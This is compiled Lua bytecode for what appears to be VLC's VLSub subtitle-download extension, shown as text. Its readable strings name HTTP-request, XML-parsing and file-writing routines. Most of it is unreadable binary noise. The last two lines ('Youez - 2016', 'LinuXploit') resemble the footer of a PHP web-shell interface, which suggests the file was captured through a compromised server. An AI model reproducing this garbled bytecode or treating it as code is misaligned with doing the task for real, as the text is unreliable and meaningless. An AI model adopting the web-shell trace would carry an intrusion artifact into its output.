separatorP"current_dirQ"(for generator)fs(for state)fs(for control)fsdirgqvarsqqfile_target_accesst"tmpFileNamey"subtitleMrl�"target�"stream�"data�"subfile�"input_tableSi	-�A�@A���A����@ŀ܀�@@��EFA�A�E�����EFA�F�����\���@����A���A�����AC����A��setMessageopenSubactionLabel: progressBarContentget	setErrorlangmess_no_responseslash.gzvlcioopenwbwriteflushcollectgarbage-UUUUUUUUUVVVXXYYYYZZ]]]]]^^^^^^__``cccddeffhiurl,dir,subfileName,resp,tmpFileName,tmpFile,kqEF@�Z@@�EF��F@�\��Z@�EF��F��@���\@EF��F�����]�^B^�vlciteminputmsgdbg[VLsub] Adding subtitle :
add_subtitlellllllllllmmmmmmmnnnnnnnppqsubPathu
EF@�����@�A��@A\�����@�A�@���BAA����A������B@܁������mathceilopenSuboptionprogressBarSizeY@1<span style='background-color:#181;color:#181;'>stringrep-</span>1<span style='background-color:#fff;color:#fff;'>vvwwwwwvxxxxyzzzzzz{|||||}}~pct
accomplishedleftcontent��
DF�Z��DF�K@��\@�D�K��\@�message	set_textupdate
�������������strinput_tabledlg��E�@��\@�setMessage
error_tag������mess��	A�@��@��AU@�^�<span style='color:#181'><b>lang
mess_success:</b></span> 	���������str��	A�@��@��AU@�^�<span style='color:#B23'><b>langmess_error:</b></span> 	���������str��	A�@��@��AU@�^�<span style='color:#CF0'><b>lang
mess_warn:</b></span> 	���������str��'E�\���A@���A���U����AƁ�������@�A�B@�����C����B@���C@����@���
parse_urlGET 
 HTTP/1.0Host: 
User-Agent: openSubconfuserAgentHTTPtableconcat
	http_reqT@i@'���������������������������������������url&host&path&header&request&	response&status&	response&�����@�ƀ�@�܀��@@�
EFA�F��	A�EFA�F����\A�EFA�FA��\AEFA�F������\�����CZ@�@�����B��K�B��\À@������E��\��EC��C\���EC��C\����@�TGEO��C�E����E�C�@��\CE@��EFC�FC��\CEFC�F������\��@���EFC�F���\C@���F�FZ��E��ƃF�\��CGA������	܃�C�A������	܃���C�@����@��^��"vlcnetconnect_tcpPOLLINsendpollrecv�@match(.-
?
)
?
(.*)
parse_header	tonumberContent-LengthstatuscodebodyLenghtY@setMessageopenSubactionLabel: progressBarContent�@close�r@	Location
parse_urltrimgsub^([^%s]+ )([^%s]+)%1(Host: )([^
]*)	http_req��������������������������������������������������������������������������������������������������������������������������������������host�port�request�fd�pollfds�chunk �	response!�
headerStr"�header"�body"�contentLength"�status"�pct#�hostn�pathn���
J��@@������@@�BEF������\�I��I�����^�	stringgmatch([^%s:]+)(:?)%s([^
]+)
?
statuscode	tonumbersub�?@������������������������dataheader(for generator)(for state)(for control)namesval��
EF@�F���\������A���vlcstrings
url_parsehostpathoption
����������url	url_parsed	9xJ��C��B��@���B����A�BAł��A�CU������B����
�B�D��	�D���B@C	��ń�
܄��	@��
���DƄ�	FFŃ
�D��
�ń�
�B
܄��	@������	����
���DƄ�	�
@��D������	�DƄ�	�
@��D��DƄ�	@��D���ń�
܄��	���
���@	����DƄ�	J�D�W@�����D�
�B�D��	�D�B��B�B�^�tableinsertvlcstringsresolve_xml_special_charsstringgmatch"[%s
	]*<(%/?)([%w:_]+)(.-)(%/?)>[%s
	]*([^<]*)[%s
	]*/�?removetypenilcollectgarbagex			
   !!!!!!#$$%%%%%%&&&&&'))))))***,,,,,-----//001222247789datawtreewstackwtmpwlevelwopwtagwpwemptywvalwresolve_xml
w(for generator)t(for state)t(for control)toprtagrpremptyrvalr;qsJ��AA�ł����C�A@��C��B@�C������W�B@�C��@���MA�E�C
@E���C�LA�W�	���@�	�
FEF�
�@D
@�EJ	EE�A
@�E�E�����
�
E�A
ME�FE��E�������E�A
@��E�W@	��MA�E	@E�C
@E��C��LA���
�
E�A
FE��E�E�A
@��E���W�	�E@���	\�	E!C��C�^�vlcstringsresolve_xml_special_charstableinsertstringgmatch(<(%/?)([%w:]+)(.-)(%/?)>[%s
	]*([^<]*)/memberarray�?removenametypenilcollectgarbages<=>?@ABBBCCCCCEEFHEHIIJJJJKKLMMMMOPPQRRRRRRTTTTTTUUUVVVVVVVXYYZZZZZZ\]^^^^^``abbccccdeefghhiiiiijjjjjjkklllllEmoopqdatartreerstackrtmprtmpTagrlevelroprtagrpremptyrvalrresolve_xml	r(for generator)o(for state)o(for control)oopmtagmpmemptymvalms�	A��@��@Ad�������A��A�A���vlcstringsconvert_xml_special_charscollectgarbagey�������C�@@����CC�C�@@�C������(���A��@���A�A���CB���������ACC�@@���C��A���@��@C��W�@�A���CB���
A�������AC�@�@@�@��C����@��A@�D��\�ZC�@C���@�@C�@C@�E��\�C�@���A��@�@@@�A���CB���
A������AC@�A�����CD@�C�
A����@��@C@�W����@�@@��A���CB���
A�������AC��A������������pairstableinsertsort�?@typestring
rep <>number	tostring</remove���@��X���@�����?��������ab�z{���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������data�stack�data_index�k�v�i�tb�(for generator)(for state)(for control)kv(for generator)�(for state)�(for control)�i�tb�dumplevelparseconvert_xmltuvwww�������������datalevelstackdumpconvert_xmlparse���E�\�@�@�B^E�F��F���@\��W�������@����trimvlcioopenw�����������������������namef���E�\�@�@�B^E�F��F���@\��W�������@����trimvlcioopenr�����������������������namef��
,�E�\�@�@�B^C��ŀ����܀@�Z@������B�A@�������BB@�������B�����@����
trimvlcioreaddirstringmatch^[^%s]+.+$tableinsertpathslash	filename,��������������������������������������������path+
dir_list_cmd
+list+(for generator)'(for state)'(for control)'_%entry%��EF@����]�^�stringmatch
^(%a:.+)$�������path��@�E�\�W@��E��\�Z@@�B^E�F���@]�^�trimis_window_pathstringmatch^%a?%:?[\%w%p%s§¤]+$���������������������path��@@�A^E@F�����]^�stringgsub^[
%s]*(.-)[
%s]*$%1������������str��EF@�����]^�stringgsub{[^}]+}��������str�#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������				







  !!""##$$%%&&''(())**++,,--..//00112233445566778899::;;<<==>>??@@AABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMNNOOPPPQQQRRRSSTTTUUVVVWWXXXYYYZZZ[[[\\]]]^^^abcqqg�s�������������������))) 222+FF4JHNLRP```Tnnd��p�����:E<NGccP���e��������� !!"""###$$%%%&&&'''((()))***+++,,,---.../0011122233344456jjkvvwwxxy�����������������������������������������������������""#llmttu��w����������QQ�iSqku��������������������9q;�s���������������optionsb�
languages��lang_os_to_ison�dlgo�input_tablep�select_confq�

Youez - 2016 - github.com/yon3zu
LinuXploit